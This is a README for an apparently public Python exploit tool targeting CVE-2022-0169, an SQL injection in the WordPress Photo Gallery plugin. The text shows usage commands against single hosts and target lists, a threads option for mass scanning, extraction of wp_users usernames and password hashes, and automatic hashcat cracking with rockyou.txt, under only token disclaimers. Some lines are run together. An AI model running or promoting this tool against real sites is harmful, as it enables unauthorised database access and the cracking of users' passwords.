
CVE-2022-0169 - WordPress Photo Gallery SQLi PoC
This is a simple Python proof-of-concept (PoC) for CVE-2022-0169, an SQL injection vulnerability in the WordPress Photo Gallery plugin.
admin-ajax.php endpointwp_users usernames and password hashesThis tool is for educational purposes only. Use responsibly! Like you would listen to this.. 😆
python3 exploit.py -u http://target.com
python3 exploit.py -f targets.txt
Example:
python3 exploit.py -u http://victim.com -w /usr/share/wordlists/rockyou.txt
Requirements
requests
argparse
colorama
results/YYYYMMDD_HHMMSS/When hashes are found, you’ll be asked:
Crack the hashes with hashcat now? [Y/N]:
If you hit Y, hashcat will run automatically using your selected wordlist.
results/ folder for dumps and hashes.hashcat -m 400 -a 0 results/YYYYMMDD_HHMMSS/hashes.txt /usr/share/wordlists/rockyou.txt
This tool is for educational and authorized testing only. You are solely responsible for how you use it. Always get permission before scanning or exploiting any system.
Stay cyberpunk.
— X3RX3S
| Option | Description |
|---|
-u | Single target URL |
-f | File with list of targets |
-p | Proxy (e.g., http://127.0.0.1:8080) |
-t | Number of threads (default: 5) |
-w | Choose wordlist for hashcat (default: rockyou.txt) Make sure that rockyou.txt is gunzipped! |